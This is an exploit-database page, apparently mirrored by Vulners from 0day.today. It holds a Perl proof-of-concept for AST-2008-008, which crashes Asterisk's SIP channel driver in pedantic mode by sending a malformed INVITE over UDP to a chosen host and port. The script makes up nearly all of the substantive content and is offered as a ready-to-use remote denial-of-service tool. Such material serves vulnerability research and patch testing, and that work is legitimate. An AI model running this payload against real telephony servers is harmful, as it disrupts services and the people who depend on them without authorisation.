Lucene search
+L

Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit

🗓️ 05 Jun 2008 00:00:00Reported by Armando OliveiraType 
zdt
 zdt
🔗 0day.today👁 28 Views

Asterisk SIP channel driver remote crash exploi

Code
=====================================================================
Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit
=====================================================================





#!/usr/bin/perl -w
###############


# asterisk AST-2008-008
# by [email protected]
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode

use Getopt::Std;
use IO::Socket;
use strict;

my %args;
getopts("h:p:", \%args);

if (!$args{h} || !$args{p}) { usage(); }


my $sock = IO::Socket::INET->new(
    Proto    => 'udp',
    PeerPort => $args{p},
    PeerAddr => $args{h},
) or die "Could not create socket: $!\n";

$sock->send('INVITE sip:[email protected]'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE') or die "Send error: $!\n";




sub usage {
    print STDERR
qq{ $0

Usage: $0 -h <host> -p <port>
        -h <host>       = host
        -p <port>       = port

Example:
        $0 -h target -p port


};



#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
28